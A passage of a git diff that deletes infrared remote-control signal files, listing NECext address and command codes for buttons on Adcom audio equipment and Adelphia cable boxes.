-address: 51 00 00 00 -command: 11 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 12 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 13 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 17 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 17 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 19 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1A 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1A 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir deleted file mode 100644 index 355026ee5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Pre-Amplifier/88,23.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MAIN_POWER_ON_B -type: parsed -protocol: NECext -address: 58 17 00 00 -command: 2A 00 00 00 -# -name: MAIN_POWER_ON_A -type: parsed -protocol: NECext -address: 58 17 00 00 -command: 54 00 00 00 -# -name: MAIN_POWER_OFF_A -type: parsed -protocol: NECext -address: 58 17 00 00 -command: 55 00 00 00 -# -name: MAIN_POWER_OFF_B -type: parsed -protocol: NECext -address: 58 17 00 00 -command: AA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir deleted file mode 100644 index e6421b346..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 03 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 40 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 43 00 00 00 -# -name: ROOM_2_POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4B 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4D 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4F 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 51 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 55 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 56 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 80 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 81 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 82 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 83 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 83 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: FM/AM/HD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 97 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 98 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 99 00 00 00 -# -name: EXT._7.1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C1 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C6 00 00 00 -# -name: CH-TRIM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: C7 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CA 00 00 00 -# -name: ROOM_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CB 00 00 00 -# -name: RM_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CB 00 00 00 -# -name: TREBLE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: CF 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D0 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: PRE/TUNE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D3 00 00 00 -# -name: SYNC -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D4 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 -# -name: ST/MONO -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DD 00 00 00 -# -name: TH-EQ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DE 00 00 00 -# -name: DYNAMIC_RANGE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir deleted file mode 100644 index 16459bf5c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/26,232.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO_4_(2) -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 10 00 00 00 -# -name: CD_(2) -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 13 00 00 00 -# -name: TUNER_(2) -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 50 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 54 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 55 00 00 00 -# -name: DSP:_PL2_MOVIE -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 5C 00 00 00 -# -name: DSP:_PL2_MUSIC -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 5D 00 00 00 -# -name: VIDEO_2_(2) -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 8D 00 00 00 -# -name: VIDEO_3_(2) -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: 8E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: CE 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A E8 00 00 -command: CF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir deleted file mode 100644 index aa9e44326..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Receiver/81,0.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNING_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: TUNING_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0D 00 00 00 -# -name: DAT/TAPE2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0E 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 10 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 11 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 12 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 13 00 00 00 -# -name: ALL_ON -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 14 00 00 00 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 15 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 17 00 00 00 -# -name: ROOM_ON/OFF -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 18 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 19 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1A 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir deleted file mode 100644 index eef93cf0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Surround Processor/26,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REAR/CTR_RESET -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4F 00 00 00 -# -name: BAL_CHECK(LEVEL_ADJ) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 50 00 00 00 -# -name: SUBWOOFER_-_(LVL_ADJ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 51 00 00 00 -# -name: CENTER_-_(LEVEL_ADJ) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 52 00 00 00 -# -name: REAR_-_(LEVEL_ADJ) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 53 00 00 00 -# -name: BASS_EQ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 54 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 55 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 56 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 57 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 58 00 00 00 -# -name: SUBWOOFER_+_(LVL_ADJ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 59 00 00 00 -# -name: CENTER_+_(LEVEL_ADJ) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5A 00 00 00 -# -name: REAR_+_(LEVEL_ADJ) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5B 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5E 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir deleted file mode 100644 index 8047a7c10..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Tuner/26,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 80 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 82 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 84 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 85 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 86 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 87 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 88 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 89 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8A 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8B 00 00 00 -# -name: TUNING_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8C 00 00 00 -# -name: TUNING_< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8D 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8E 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 90 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 91 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 92 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 93 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 94 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 95 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 96 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 97 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 98 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 9A 00 00 00 -# -name: MASTER_VOL_V -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D1 00 00 00 -# -name: MASTER_VOL_^ -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: D5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir deleted file mode 100644 index d358fddb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/26,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 00 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 01 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 04 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0B 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0C 00 00 00 -# -name: FR_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: MEMORY_CLEAR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1F 00 00 00 -# -name: REPEAT_CLEAR -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 46 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 48 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 49 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir deleted file mode 100644 index e79e83c97..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adcom/Unknown/81,0.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 00 00 00 00 -# -name: TUNING_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 02 00 00 00 -# -name: TUNING_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 03 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 07 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 08 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 09 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0B 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0C 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO/TAPE_2 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 0E 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 10 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 11 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 12 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 17 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 19 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1A 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_< -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_> -type: parsed -protocol: NECext -address: 51 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir deleted file mode 100644 index 3f3ec0815..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/0,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUSIC/ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir deleted file mode 100644 index c022259bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir deleted file mode 100644 index efe970791..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Adelphia/Cable Box/27,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 02 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 03 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 05 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 06 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 07 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 08 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0B 00 00 00 -# -name: CURSER_SELECT -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0C 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0E 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 00 